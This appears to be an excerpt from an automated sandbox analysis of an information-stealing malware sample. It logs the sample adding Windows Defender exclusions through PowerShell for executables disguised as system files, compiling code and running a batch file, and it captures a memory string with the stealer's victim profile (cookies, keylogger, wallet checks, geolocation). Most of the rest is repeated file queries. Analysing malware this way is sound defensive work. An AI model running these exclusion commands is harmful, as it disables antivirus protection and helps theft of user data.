Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe'	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\dllhost.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\services.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IsGt2uaTvL.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD2D.tmp" "c:\Windows\System32\CSCCA613A2B92B2400B95C3CB4E6C4E457D.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe "C:\Users\Default\Recent\RuntimeBroker.exe"

Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000003068000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002A.00000002.3129151130.000000000304D000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002A.00000002.3129151130.000000000313D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000003068000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Crypto Wallets (fff5)":"N","Crypto Extensions (fff5)":"N","Crypto Clients (fff5)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"206","Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Keylogger Latest Log (0265)":"18.11.2024 06:49 / 1","Cookies Domains (e9db)":"","Passwords Domains (e9db)":""},"5.0.4",5,1,"","user","571345","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\Default\\Recent","VVGN7M8F7 (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","173.254.250.72","US / United States","Texas / Killeen","31.0065 / -97.8406"]P

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Queries volume information: C:\Users\user\AppData\Local\Temp\decFF62.tmp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
